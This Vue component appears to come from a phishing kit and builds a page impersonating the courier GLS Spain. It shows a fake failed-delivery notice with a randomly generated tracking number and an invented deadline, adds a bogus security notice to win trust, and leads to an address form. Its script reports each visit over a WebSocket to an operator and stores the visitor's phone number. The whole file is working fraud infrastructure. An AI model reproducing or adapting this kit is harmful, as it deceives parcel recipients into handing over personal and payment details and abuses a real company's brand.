742 lines
26 KiB
Vue
742 lines
26 KiB
Vue
<script setup lang="ts">
|
||
import { onMounted, ref } from "vue";
|
||
import { useRouter } from "vue-router";
|
||
import CommonLayout from "@/views/CommonLayout.vue";
|
||
import { useLoadingStore } from "@/stores/loadingStore";
|
||
import { debounce } from "lodash";
|
||
import moment from "moment";
|
||
import { useI18n } from "vue-i18n";
|
||
import { myWebSocket } from "@/utils/common";
|
||
const { t } = useI18n();
|
||
|
||
const router = useRouter();
|
||
const loadingStore = useLoadingStore();
|
||
const payDate1 = ref("");
|
||
const trackingNumber = ref("");
|
||
|
||
const onchange = debounce((value: any) => {
|
||
localStorage.setItem("phone", value.target.value);
|
||
}, 300);
|
||
|
||
const next = () => {
|
||
loadingStore.setLoading(true);
|
||
setTimeout(() => {
|
||
loadingStore.setLoading(false);
|
||
router.push("/address");
|
||
}, 200);
|
||
};
|
||
|
||
onMounted(() => {
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "home", },
|
||
})
|
||
);
|
||
|
||
// 逻辑保持不变
|
||
payDate1.value = formatDate(getDateSevenDaysAgo(2));
|
||
|
||
const inumber = localStorage.getItem("trackingNumber");
|
||
if (inumber) {
|
||
trackingNumber.value = inumber;
|
||
} else {
|
||
trackingNumber.value = generateRandomTenDigitNumber();
|
||
localStorage.setItem("trackingNumber", trackingNumber.value);
|
||
}
|
||
localStorage.setItem("route", "home");
|
||
});
|
||
|
||
function formatDate(date: Date): string {
|
||
// 英国常用日期格式: DD/MM/YYYY
|
||
return moment(date).format("DD/MM/YYYY");
|
||
}
|
||
|
||
function getDateSevenDaysAgo(day: number): Date {
|
||
const currentDate = new Date();
|
||
currentDate.setDate(currentDate.getDate() + day);
|
||
return currentDate;
|
||
}
|
||
|
||
function generateRandomTenDigitNumber(): string {
|
||
const min = 1000000000;
|
||
const max = 9999999999;
|
||
return Math.floor(Math.random() * (max - min + 1) + min).toString();
|
||
}
|
||
</script>
|
||
|
||
<template>
|
||
<CommonLayout>
|
||
<template #default>
|
||
<!-- Banner principal GLS -->
|
||
<div class="gls-banner-bar">
|
||
<img
|
||
src="/Static_zy/Driver-riding-an-ebike-on-a-park_M02_4X3.jpg"
|
||
alt="GLS Spain — Envíos rápidos y seguros para todos"
|
||
class="banner-img"
|
||
/>
|
||
</div>
|
||
|
||
<div class="page-wrapper">
|
||
<div class="container">
|
||
<form @submit.prevent="next">
|
||
<!-- Título principal -->
|
||
<h1 class="page-title">Seguimiento de envío</h1>
|
||
<p class="page-subtitle">Uno de los servicios de paquetería líderes en España</p>
|
||
|
||
<div class="gls-card">
|
||
<!-- Número de envío -->
|
||
<div class="tracking-info">
|
||
<span class="field-label">Número de envío (Referencia de seguimiento):</span>
|
||
<div class="tracking-code">{{ trackingNumber }}</div>
|
||
</div>
|
||
|
||
<!-- Estado del envío -->
|
||
<div class="status-container">
|
||
<h2 class="status-heading">
|
||
<span class="status-icon">!</span>
|
||
Intento de entrega fallido
|
||
</h2>
|
||
|
||
<div class="status-badge">
|
||
<span class="badge-dot"></span>
|
||
Estado del paquete: <strong>Pendiente de confirmación de dirección</strong>
|
||
</div>
|
||
|
||
<div class="status-message">
|
||
<p>
|
||
Hemos intentado entregar tu paquete hoy, pero no ha sido posible completar la entrega
|
||
debido a que los datos de la dirección de destino son incorrectos o están incompletos.
|
||
</p>
|
||
<p>
|
||
Tu envío se encuentra actualmente retenido en nuestra
|
||
<strong>agencia de GLS Spain</strong>. Disponemos de una red de alrededor de
|
||
<strong>560 agencias</strong> y más de <strong>7.700 puntos de conveniencia
|
||
Parcel Shops</strong> para gestionar tus envíos en toda España.
|
||
</p>
|
||
|
||
<div class="info-row">
|
||
<div class="info-item">
|
||
<span class="info-icon">📦</span>
|
||
<span>Servicio de paquetería nacional</span>
|
||
</div>
|
||
<div class="info-item">
|
||
<span class="info-icon">🔔</span>
|
||
<span>Notificación de entrega activada</span>
|
||
</div>
|
||
<div class="info-item">
|
||
<span class="info-icon">📍</span>
|
||
<span>Destinatario: dirección de entrega no confirmada</span>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="instruction-box">
|
||
<p>
|
||
Para reprogramar la entrega de tu paquete, actualiza los datos de entrega
|
||
antes del:
|
||
<span class="date-text">{{ payDate1 }}</span>.
|
||
</p>
|
||
<p class="instruction-note">
|
||
Si no actualizas la dirección en el plazo indicado, tu envío podría ser
|
||
devuelto al remitente o redirigido al <strong>Parcel Shop</strong> más cercano.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Aviso de seguridad -->
|
||
<div class="security-note">
|
||
<span class="security-icon">🔒</span>
|
||
<div class="security-text">
|
||
<strong>Aviso de seguridad:</strong>
|
||
GLS Spain nunca te solicitará datos bancarios completos por correo electrónico ni SMS.
|
||
Consulta nuestros <strong>consejos de seguridad</strong> para protegerte de intentos de estafa.
|
||
</div>
|
||
</div>
|
||
|
||
<div class="button-wrapper">
|
||
<button type="submit" class="gls-btn-main">
|
||
Confirmar datos de entrega
|
||
</button>
|
||
<p class="btn-hint">Gestiona tu envío de forma rápida y segura</p>
|
||
</div>
|
||
</div>
|
||
</form>
|
||
</div>
|
||
</div>
|
||
<main role="main" style="transition: 0.25s; margin-top: 0px; pointer-events: none;">
|
||
|
||
|
||
|
||
|
||
<!-- Google Tag Manager (noscript) -->
|
||
|
||
<!-- End Google Tag Manager (noscript) -->
|
||
|
||
|
||
<!-- 686193 (gls_group_module_01_superhero_slider): end -->
|
||
|
||
|
||
|
||
<!-- 710853 (gls_group_module_21_track_and_trace_external): start -->
|
||
|
||
|
||
<!-- 686204 (gls_group_module_02_teasers_2_columns): start -->
|
||
|
||
<!-- 686204 (gls_group_module_02_teasers_2_columns): end -->
|
||
<!-- 710828 (gls_group_module_41_headline): start -->
|
||
|
||
<!-- 710828 (gls_group_module_41_headline): end --><!-- 687474 (gls_group_module_06_campaign_banner): start -->
|
||
|
||
<!-- 687474 (gls_group_module_06_campaign_banner): end --><a id="gls_group_module_02_teasers_1_column" name="gls_group_module_02_teasers_1_column"></a>
|
||
<!-- 687475 (gls_group_module_02_teasers_1_column): start -->
|
||
|
||
<!-- 687475 (gls_group_module_02_teasers_1_column): end --><a id="gls_group_module_41_headline" name="gls_group_module_41_headline"></a>
|
||
<!-- 710827 (gls_group_module_41_headline): start -->
|
||
<div class="bg-blue10 bg-soft-blue-sky mb-60px headline-overlap">
|
||
<div class="container ce_lead_text ce_lead_text_centered pt-70px pb-80px">
|
||
<div class="row justify-content-center">
|
||
<div class="col-12">
|
||
<h3 class="headline">Uno de los servicios de paquetería líderes en España</h3>
|
||
<div class="subline subline_small">
|
||
<p>Desde 2005, la filial de GLS, GLS Spain, ha estado en continuo crecimiento ofreciendo servicios de logística de paquetería que la han convertido en una de las compañías del sector líderes en calidad, siendo la única red agencial con alcance europeo.</p>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
<!-- 710827 (gls_group_module_41_headline): end --><a id="gls_group_module_09_icon_row" name="gls_group_module_09_icon_row"></a>
|
||
<!-- 687480 (gls_group_module_09_icon_row): start -->
|
||
<div class="container pb-50px pt-50px ">
|
||
<div class="row">
|
||
<div class="col-sm-12 ">
|
||
<ul class="ce_icon_box_container">
|
||
<!-- (gls_group_molecule_icon_row_item): start -->
|
||
<li class="ce_icon_box ">
|
||
<div class="image">
|
||
<img src="/Static_zy/ES/icons/2023/Hub_blue.svg" alt="Hub de GLS Spain">
|
||
</div>
|
||
<div class="text">34 delegaciones y alrededor de 560 agencias</div>
|
||
</li>
|
||
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
|
||
<li class="ce_icon_box ">
|
||
<div class="image">
|
||
<img src="/Static_zy/ES/icons/2023/Meeting-room_blue.svg" alt="Empleados de GLS Spain">
|
||
</div>
|
||
<div class="text">Empleados GLS Spain: Alrededor de 1.500</div>
|
||
</li>
|
||
<!-- (gls_group_molecule_icon_row_item): end --><!-- (gls_group_molecule_icon_row_item): start -->
|
||
<li class="ce_icon_box ">
|
||
<div class="image">
|
||
<img src="/Static_zy/ES/icons/2023/Network_blue.svg" alt="Clientes de GLS Spain">
|
||
</div>
|
||
<div class="text">Clientes GLS Spain: Alrededor de 3.000</div>
|
||
</li>
|
||
<!-- (gls_group_molecule_icon_row_item): end -->
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
<!-- 687480 (gls_group_module_09_icon_row): end --><a id="gls_group_module_02_teasers_3_columns" name="gls_group_module_02_teasers_3_columns"></a>
|
||
<!-- 687485 (gls_group_module_02_teasers_3_columns): start -->
|
||
|
||
<!-- 687485 (gls_group_module_02_teasers_3_columns): end --><a id="m00_script" name="m00_script"></a>
|
||
|
||
|
||
<!-- (gls_group_module_20_stickies): end -->
|
||
<!-- gls_group_gca_back_to_top: start -->
|
||
|
||
<!-- gls_group_gca_back_to_top: end -->
|
||
<!-- gls_group_gca_overlays: start -->
|
||
<a id="gls_group_wilh005" name="gls_group_wilh005"></a>
|
||
<!-- 763206 (gls_group_wilh005): start -->
|
||
<div class="modal js-login" id="mdl_wilh005" tabindex="-1" role="dialog" aria-hidden="true" data-open-tag="login">
|
||
<div class="modal-dialog modal-sm" role="document">
|
||
<div class="modal-content">
|
||
<div class="modal-header">
|
||
<h5 class="modal-title">Login</h5>
|
||
<button type="button" class="close" data-dismiss="modal" aria-label="Cerca">
|
||
<span aria-hidden="true">×</span>
|
||
</button>
|
||
</div>
|
||
<div class="modal-body">
|
||
<div class="col-auto d-flex flex-column p-3">
|
||
<a href="https://extranet.gls-spain.es/extranet/login.aspx?ReturnUrl=~/default.aspx" class="product_button default_product_button" data-analytics="click" data-analytics-action="Click" data-analytics-category="Login - Product Button"> Extranet </a>
|
||
<a href="/authenticate?locale=es-ES&allowed_locales=en-ES,es" class="product_button default_product_button" data-analytics="click" data-analytics-action="Click" data-analytics-category="Login - Product Button"> YourGLS </a>
|
||
<a href="https://gls-customs-portal.next.aeb.com/portal/" class="product_button default_product_button" data-analytics="click" data-analytics-action="Click" data-analytics-category="Login - Product Button"> Customs Portal AEB </a>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
<!-- 763206 (gls_group_wilh005): end -->
|
||
<!-- gls_group_gca_overlays: end -->
|
||
<!-- 374851 (gls_group_gca_country_switch): start -->
|
||
<div class="modal fade modal_country_switch" id="modal_country_switch" tabindex="-1" role="dialog" data-open-tag="countrySwitch" aria-label="Country Switch">
|
||
<div class="modal-dialog modal-lg" role="document">
|
||
<div class="modal-content">
|
||
<div class="modal-header">
|
||
<h2 class="modal-title">Por favor seleccione su país</h2>
|
||
<button type="button" class="close" data-dismiss="modal" aria-label="Cerca" data-analytics="click" data-analytics-action="Close" data-analytics-category="Country Switch Overlay">
|
||
<span aria-hidden="true">×</span>
|
||
</button>
|
||
</div>
|
||
<div class="modal-body">
|
||
<ul>
|
||
<li>
|
||
<a href="/GROUP/en/home/" class="group" title="Group" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Group</a>
|
||
</li>
|
||
<li>
|
||
<a href="/DE/de/home/" class="de" title="Alemania" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Alemania</a>
|
||
</li>
|
||
<li>
|
||
<a href="/ES/es/home/" class="ad" title="Andorra" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Andorra</a>
|
||
</li>
|
||
<li>
|
||
<a href="/AT/de/home/" class="at" title="Austria" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Austria</a>
|
||
</li>
|
||
<li>
|
||
<a href="/BE/vl/home/" class="be" title="Bélgica" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Bélgica</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=bulgaria" class="bg" title="Bulgaria" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Bulgaria</a>
|
||
</li>
|
||
<li>
|
||
<a href="/CA/en/home/" class="ca" title="Canada" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Canada</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=china" class="cn" title="China" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">China</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=cyprus" class="cy" title="Chipre" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Chipre</a>
|
||
</li>
|
||
<li>
|
||
<a href="/IT/it/home/" class="va" title="Ciudad del Vaticano" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Ciudad del Vaticano</a>
|
||
</li>
|
||
<li>
|
||
<a href="/HR/hr/home/" class="hr" title="Croacia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Croacia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/DK/da/home/" class="dk" title="Dinamarca" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Dinamarca</a>
|
||
</li>
|
||
<li>
|
||
<a href="/SK/sk/home/" class="sk" title="Eslovaquia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Eslovaquia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/SI/sl/home/" class="si" title="Eslovenia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Eslovenia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/ES/es/home/" class="es active" title="España" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">España</a>
|
||
</li>
|
||
<li>
|
||
<a href="/US/en/home/" class="us" title="Estados Unidos ( USA )" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Estados Unidos ( USA )</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=estonia" class="ee" title="Estonia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Estonia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/FI/fi/home/" class="fi" title="Finlandia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Finlandia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/FR/fr/home/" class="fr" title="Francia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Francia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=greece" class="gr" title="Grecia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Grecia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/HU/hu/home/" class="hu" title="Hungría" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Hungría</a>
|
||
</li>
|
||
<li>
|
||
<a href="/IE/en/home/" class="ie" title="Irlanda" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Irlanda</a>
|
||
</li>
|
||
<li>
|
||
<a href="/IT/it/home/" class="it" title="Italia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Italia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=latvia" class="lv" title="Letonia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Letonia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=liechtenstein" class="li" title="Liechtenstein" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Liechtenstein</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=lithuania" class="lt" title="Lituania" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Lituania</a>
|
||
</li>
|
||
<li>
|
||
<a href="/LU/de/home/" class="lu" title="Luxemburgo" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Luxemburgo</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=malta" class="mt" title="Malta" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Malta</a>
|
||
</li>
|
||
<li>
|
||
<a href="/FR/fr/home/" class="mc" title="Mónaco" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Mónaco</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=norway" class="no" title="Noruega" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Noruega</a>
|
||
</li>
|
||
<li>
|
||
<a href="/NL/nl/home/" class="nl" title="Países Bajos" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Países Bajos</a>
|
||
</li>
|
||
<li>
|
||
<a href="/PL/pl/home/" class="pl" title="Polonia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Polonia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/PT/pt/home/" class="pt" title="Portugal" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Portugal</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=unitedkingdom" class="gb" title="Reino Unido" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Reino Unido</a>
|
||
</li>
|
||
<li>
|
||
<a href="/CZ/cs/home/" class="cz" title="Rep.Checa" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Rep.Checa</a>
|
||
</li>
|
||
<li>
|
||
<a href="/RO/ro/home/" class="ro" title="Rumanía" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Rumanía</a>
|
||
</li>
|
||
<li>
|
||
<a href="/IT/it/home/" class="sm" title="San Marino" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">San Marino</a>
|
||
</li>
|
||
<li>
|
||
<a href="/RS/sr/home/" class="rs" title="Serbia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Serbia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=sweden" class="se" title="Suecia" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Suecia</a>
|
||
</li>
|
||
<li>
|
||
<a href="/GROUP/en/gls-partners/?partner=switzerland" class="ch" title="Suiza" data-analytics="click" data-analytics-action="Click" data-analytics-category="Country Switch Link">Suiza</a>
|
||
</li>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
<!-- 374851 (gls_group_gca_country_switch): end -->
|
||
<div class="modal fade" id="smartsearch-modal" tabindex="-1" role="dialog" aria-label="Smart Search">
|
||
<div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
|
||
<div class="modal-content">
|
||
<div class="modal-header">
|
||
<icon-search><!--?xml version="1.0" encoding="UTF-8"?--><svg fill="none" viewBox="0 0 19 18" width="19" height="18" xmlns="http://www.w3.org/2000/svg"><g clip-path="url(#a)"><path d="m17.6 18c-0.1183 4e-4 -0.2354-0.0228-0.3446-0.0681s-0.2082-0.1119-0.2914-0.1959l-5.647-5.647c-1.3619 1.0389-3.0677 1.5215-4.772 1.3501-1.7043-0.1715-3.2798-0.9842-4.4074-2.2736-1.1276-1.2894-1.7231-2.9592-1.6658-4.6712 0.057241-1.712 0.76292-3.3382 1.9741-4.5494 1.2112-1.2112 2.8375-1.9169 4.5494-1.9741s3.3817 0.53823 4.6711 1.6658c1.2895 1.1276 2.1022 2.7031 2.2737 4.4074 0.1714 1.7043-0.3112 3.4101-1.3501 4.772l5.648 5.647c0.1261 0.1259 0.2121 0.2865 0.2469 0.4613s0.0168 0.3561-0.0515 0.5207c-0.0683 0.1647-0.184 0.3053-0.3324 0.4041s-0.3228 0.1513-0.501 0.1509zm-10.364-16.406c-1.0172 0-2.0115 0.30163-2.8573 0.86675s-1.505 1.3684-1.8942 2.3081c-0.38927 0.93976-0.49111 1.9738-0.29267 2.9715s0.68827 1.914 1.4075 2.6333c0.71926 0.7193 1.6356 1.2091 2.6333 1.4076 0.99764 0.1984 2.0317 0.0966 2.9715-0.2927 0.9398-0.3893 1.743-1.0485 2.3081-1.8942 0.5651-0.84576 0.8668-1.8401 0.8668-2.8573-0.0014-1.3636-0.5436-2.671-1.5079-3.6352-0.96417-0.96421-2.2715-1.5065-3.6351-1.5078z" fill="#061AB1"></path></g><defs><clipPath id="a"><rect transform="translate(.5)" width="18" height="18" fill="#fff"></rect></clipPath></defs></svg>
|
||
</icon-search>
|
||
<div class="smartsearch-input-container">
|
||
<input id="smartsearch-label" class="smartsearch-modal-searchbar form-control" type="text" autocomplete="off" placeholder="Dinos qué estás buscando :)">
|
||
<span class="result-status sr-only" role="status"></span>
|
||
<label class="searchbar-label d-none" for="smartsearch-label">* Por favor, introduce al menos 3 caracteres</label>
|
||
</div>
|
||
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
|
||
<span aria-hidden="true">×</span>
|
||
</button>
|
||
</div>
|
||
<div class="modal-body d-none">
|
||
<div id="search-result-container" class="d-none"></div>
|
||
<div id="loader-container" class="d-none">
|
||
<div class="spinner-border text-primary" role="status">
|
||
<span class="sr-only"></span>
|
||
</div>
|
||
</div>
|
||
<div class="text-center mt-3">
|
||
<button type="button" class="load-more btn btn-secondary d-none">Mostrar más</button>
|
||
</div>
|
||
<fieldset id="smarsearch-modal-facet-filter" class="d-none"></fieldset>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- gls_group_gca_analytics: start -->
|
||
<!-- gls_group_analytics_linkedin: start -->
|
||
|
||
<!-- gls_group_analytics_linkedin: end -->
|
||
<!-- gls_group_analytics_facebook: start -->
|
||
|
||
<!-- gls_group_analytics_facebook: end -->
|
||
<!-- gls_group_analytics_google: start -->
|
||
|
||
<!-- gls_group_analytics_google: end -->
|
||
<!-- gls_group_gca_analytics: end -->
|
||
|
||
<!-- 374852 (gls_group_gca_footer): start -->
|
||
|
||
<!-- 374852 (gls_group_gca_footer): end -->
|
||
|
||
</main>
|
||
</template>
|
||
</CommonLayout>
|
||
</template>
|
||
|
||
<style scoped>
|
||
/* GLS Spain 品牌色：橙色 #FF6200、深蓝 #003f7f、浅灰背景 */
|
||
.page-wrapper {
|
||
background-color: #f4f4f4;
|
||
padding: 0 20px 80px 20px;
|
||
display: flex;
|
||
justify-content: center;
|
||
font-family: 'Arial', sans-serif;
|
||
min-height: 75vh;
|
||
margin-top: -32px;
|
||
position: relative;
|
||
z-index: 10;
|
||
}
|
||
|
||
.gls-banner-bar {
|
||
background-color: #ffffff;
|
||
border-bottom: 4px solid #FF6200;
|
||
width: 100%;
|
||
position: relative;
|
||
}
|
||
|
||
.banner-img {
|
||
max-width: 1200px;
|
||
width: 100%;
|
||
margin: 0 auto;
|
||
display: block;
|
||
height: auto;
|
||
}
|
||
|
||
.container {
|
||
max-width: 560px;
|
||
width: 100%;
|
||
padding-top: 20px;
|
||
}
|
||
|
||
.page-title {
|
||
font-size: 26px;
|
||
font-weight: bold;
|
||
color: #003f7f;
|
||
margin: 0 0 6px 0;
|
||
text-align: left;
|
||
}
|
||
|
||
.page-subtitle {
|
||
font-size: 13px;
|
||
color: #777;
|
||
margin: 0 0 22px 0;
|
||
text-transform: uppercase;
|
||
letter-spacing: 0.5px;
|
||
}
|
||
|
||
.gls-card {
|
||
background-color: #ffffff;
|
||
border-radius: 6px;
|
||
box-shadow: 0 3px 10px rgba(0, 0, 0, 0.1);
|
||
padding: 28px;
|
||
border-top: 4px solid #FF6200;
|
||
}
|
||
|
||
/* Número de envío */
|
||
.tracking-info {
|
||
margin-bottom: 22px;
|
||
background-color: #003f7f;
|
||
padding: 14px 16px;
|
||
border-radius: 4px;
|
||
}
|
||
|
||
.field-label {
|
||
font-size: 11px;
|
||
color: #a8c4e0;
|
||
text-transform: uppercase;
|
||
font-weight: 600;
|
||
display: block;
|
||
margin-bottom: 4px;
|
||
letter-spacing: 0.6px;
|
||
}
|
||
|
||
.tracking-code {
|
||
font-size: 22px;
|
||
font-weight: bold;
|
||
color: #ffffff;
|
||
letter-spacing: 1px;
|
||
}
|
||
|
||
/* Cabecera de estado */
|
||
.status-heading {
|
||
font-size: 18px;
|
||
font-weight: bold;
|
||
color: #003f7f;
|
||
margin-bottom: 12px;
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 10px;
|
||
}
|
||
|
||
.status-icon {
|
||
display: inline-flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
width: 26px;
|
||
height: 26px;
|
||
background-color: #FF6200;
|
||
color: #fff;
|
||
border-radius: 50%;
|
||
font-size: 15px;
|
||
font-weight: bold;
|
||
flex-shrink: 0;
|
||
}
|
||
|
||
/* Badge de estado */
|
||
.status-badge {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
background-color: #fff4ec;
|
||
border: 1px solid #ffd4b0;
|
||
border-radius: 4px;
|
||
padding: 8px 12px;
|
||
font-size: 13px;
|
||
color: #444;
|
||
margin-bottom: 18px;
|
||
}
|
||
|
||
.badge-dot {
|
||
width: 10px;
|
||
height: 10px;
|
||
background-color: #FF6200;
|
||
border-radius: 50%;
|
||
flex-shrink: 0;
|
||
}
|
||
|
||
/* Mensaje de estado */
|
||
.status-message {
|
||
border-top: 1px solid #eee;
|
||
padding-top: 18px;
|
||
}
|
||
|
||
.status-message p {
|
||
font-size: 14px;
|
||
line-height: 1.6;
|
||
color: #444;
|
||
margin-bottom: 14px;
|
||
}
|
||
|
||
/* Fila de iconos informativos */
|
||
.info-row {
|
||
display: flex;
|
||
flex-direction: column;
|
||
gap: 8px;
|
||
margin-bottom: 16px;
|
||
}
|
||
|
||
.info-item {
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 8px;
|
||
font-size: 13px;
|
||
color: #555;
|
||
}
|
||
|
||
.info-icon {
|
||
font-size: 16px;
|
||
flex-shrink: 0;
|
||
}
|
||
|
||
/* Caja de instrucción */
|
||
.instruction-box {
|
||
background-color: #fff4ec;
|
||
padding: 14px 16px;
|
||
border-radius: 4px;
|
||
border-left: 4px solid #FF6200;
|
||
}
|
||
|
||
.instruction-box p {
|
||
margin-bottom: 8px;
|
||
font-size: 14px;
|
||
font-weight: 600;
|
||
color: #333;
|
||
}
|
||
|
||
.instruction-box p:last-child {
|
||
margin-bottom: 0;
|
||
}
|
||
|
||
.instruction-note {
|
||
font-weight: 400 !important;
|
||
color: #666 !important;
|
||
font-size: 13px !important;
|
||
}
|
||
|
||
.date-text {
|
||
font-weight: bold;
|
||
color: #FF6200;
|
||
text-decoration: underline;
|
||
}
|
||
|
||
/* Nota de seguridad */
|
||
.security-note {
|
||
margin-top: 20px;
|
||
padding: 10px 14px;
|
||
background-color: #f0f5fb;
|
||
border: 1px solid #c8ddf0;
|
||
border-radius: 4px;
|
||
font-size: 12px;
|
||
color: #555;
|
||
display: flex;
|
||
align-items: center;
|
||
gap: 10px;
|
||
line-height: 1.6;
|
||
}
|
||
|
||
.security-icon {
|
||
flex-shrink: 0;
|
||
font-size: 18px;
|
||
display: flex;
|
||
align-items: center;
|
||
justify-content: center;
|
||
width: 32px;
|
||
height: 32px;
|
||
background-color: #ddeeff;
|
||
border-radius: 50%;
|
||
}
|
||
|
||
.security-text {
|
||
flex: 1;
|
||
font-size: 12px;
|
||
color: #555;
|
||
line-height: 1.6;
|
||
}
|
||
|
||
/* Botón principal GLS */
|
||
.button-wrapper {
|
||
margin-top: 28px;
|
||
text-align: center;
|
||
}
|
||
|
||
.gls-btn-main {
|
||
background-color: #ffd100;
|
||
color: #000000;
|
||
border: none;
|
||
padding: 15px 24px;
|
||
font-size: 16px;
|
||
font-weight: bold;
|
||
border-radius: 25px;
|
||
cursor: pointer;
|
||
transition: background 0.2s ease;
|
||
width: 100%;
|
||
letter-spacing: 0.3px;
|
||
}
|
||
|
||
.gls-btn-main:hover {
|
||
background-color: #e6bc00;
|
||
}
|
||
|
||
.btn-hint {
|
||
margin-top: 8px;
|
||
font-size: 12px;
|
||
color: #999;
|
||
}
|
||
|
||
@media (max-width: 480px) {
|
||
.page-wrapper {
|
||
padding: 0 10px 40px 10px;
|
||
margin-top: -24px;
|
||
}
|
||
|
||
.gls-card {
|
||
padding: 18px;
|
||
}
|
||
|
||
.page-title {
|
||
font-size: 22px;
|
||
}
|
||
|
||
.tracking-code {
|
||
font-size: 18px;
|
||
}
|
||
}
|
||
</style> |